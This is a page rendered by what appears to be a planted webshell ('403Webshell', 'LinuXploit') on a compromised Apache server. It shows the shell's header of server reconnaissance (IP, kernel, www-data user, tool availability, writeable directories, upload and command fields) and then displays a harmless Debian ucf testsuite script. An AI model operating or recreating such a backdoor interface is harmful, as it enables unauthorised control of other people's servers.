403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.0
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/ucf/examples/ucf_helper_functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/ucf/examples/ucf_helper_functions/testsuite
#!/bin/bash

if [ "$(id -u)" -ne 0 ]; then
    echo >&2 "ERR: root needed"
    exit 1
fi

set -u
set -e

DIR="$(pwd)/workdir"
PKGDIR="$DIR/pkg"
LOCDIR="$DIR/loc"
PKGNAME="pkgname"
PKGF="$PKGDIR/conffile"
LOCF="$LOCDIR/conffile"
PKGRF="$PKGDIR/renamedconffile"
LOCRF="$LOCDIR/renamedconffile"
REFDIR="reference"
PKGREF="$REFDIR/pkg"
LOCREF="$REFDIR/loc"
PKGRREF="$REFDIR/renamedpkg"
LOCRREF="$REFDIR/renamedloc"
LOCNEWF="$DIR/localnewfile"

TESTEE="ucf-helper-functions.sh"
if [ -x "./$TESTEE" ]; then
    . ./$TESTEE
fi

cd tests

cleanup() {
    for fn in $LOCF $LOCNEWF $LOCRF; do
        ucf --purge $fn
        ucfr --purge $PKGNAME $fn
    done
    rm -rf $DIR $PKGDIR $LOCDIR $REFDIR
    rm -f result
}

prepare() {
    cleanup
    mkdir $DIR $PKGDIR $LOCDIR $REFDIR
    cp package-orig $PKGF
}

take_ref() {
    if [ -e "$PKGF" ]; then
        cp $PKGF $PKGREF
    else
        touch $PKGREF-deleted
    fi
    if [ -e "$LOCF" ]; then
        cp $LOCF $LOCREF
    else
        touch $LOCREF-deleted
    fi
    if [ -e "$PKGRF" ]; then
        cp $PKGRF $PKGRREF
    else
        touch $PKGRREF-deleted
    fi
    if [ -e "$LOCRF" ]; then
        cp $LOCRF $LOCRREF
    else
        touch $LOCRREF-deleted
    fi
}

check_ucfq_number() {
    EXPECTED="$1"
    if [ $(ucfq --with-colons $PKGNAME | wc -l) != "$EXPECTED" ]; then
        echo  >&2 "number of files registered to $PKGNAME not equal $EXPECTED, test failed"
        ucfq --with-colons $PKGNAME | wc -l
        ucfq $PKGNAME
        return 1
    else
        echo  >&2 "$EXPECTED file(s) registered to $PKGNAME, test passed"
        return 0
    fi
}


is_package() {
    local LOCF
    local REFF
    LOCF=$1
    REFF=${2:-$PKGREF}
    if ! cmp $LOCF $REFF; then
        echo  >&2 "$LOCF not equal $REFF, test failed"
        return 1
    else
        echo  >&2 "$LOCF equals $REFF, test passed"
        return 0
    fi
}

is_local() {
    local LOCF
    local REFF
    LOCF=$1
    REFF="${2:-$LOCREF}"
    if ! cmp $LOCF $REFF; then
        echo  >&2 "$LOCF not equal $REFF, test failed"
        return 1
    else
        echo  >&2 "$LOCF equals $REFF, test passed"
        return 0
    fi
}

is_deleted() {
    RET=0
    FN="$1"
    if [ -e "$FN" ]; then
        echo  >&2 "$FN does still exist, test failed"
        RET=1
    else
        echo  >&2 "$FN is deleted, test passed"
    fi
    return $RET
}

print_state() {
    printf -- "------- %s\n" "${1:-}"
    echo "ls -alR $DIR"
    ls -alR $DIR
    head -n-0 /dev/null $DIR/*/*
    printf "ucfq $PKGNAME knows about %d files\n" "$(ucfq --with-colons "$PKGNAME" | wc -l)"
    ucfq --with-colons "$PKGNAME"
}

DEBIAN_FRONTEND=readline
GLOB="${1:-*}"
for test in ./test_$GLOB; do
    prepare
    RET=0
    unset UCF_FORCE_CONFFOLD
    export -n UCF_FORCE_CONFFOLOLD
    unset UCF_FORCE_CONFFNEW
    export -n UCF_FORCE_CONFFNEW
    . $test || RET=$?
    if [ "$RET" -ne 0 ]; then
        echo "$test failed"
        print_state "$test failed"
        cleanup
        exit 1
    else
        echo "$test passed"
    fi
    cleanup
done

# vim:sw=4:sts=4:et:


Youez - 2016 - github.com/yon3zu
LinuXploit